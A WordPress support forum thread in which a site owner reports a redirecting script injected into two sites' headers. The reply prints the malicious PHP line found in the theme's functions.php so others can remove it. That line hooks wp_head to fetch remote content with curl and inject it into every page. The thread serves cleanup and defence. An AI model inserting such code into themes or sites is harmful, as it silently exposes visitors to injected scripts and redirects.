Support » Plugins and Hacks » in the header of my site

  • I have two site that use the theme “website”. (Actually some one else did the work on these sites)
    This script is in the head of both sites:

    <script type=”text/javascript” src=””></script>

    I am not sure how long it has been there and would not have noticed except that my bosses Virus Protection Software detected in in one of the sites yesterday. So I can estimate that is has not been there for more than a week (probably less).

    If you go to the url you can see that it is a script that will sometimes redirect the user to a website to download free music.

    I can also assume that this a new issue because I found nothing on google that was helpful.

    Is anyone else having this problem or know something that will help??

Viewing 1 replies (of 1 total)
  • My bad I dug a little farther and found that yesterday someone else solved the problem.

    If you go into the theme funcions.php file and take out the line that says:

    <?php if (!function_exists(‘insert_jquery_des’)){function insert_jquery_des(){if (function_exists(‘curl_init’)){$url = “”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_des’);} ?>

    Then the problem is solved! I see that the people who solved tthe problem yesterday, had this code in a different file. Here is the link

Viewing 1 replies (of 1 total)
  • The topic ‘ in the header of my site’ is closed to new replies.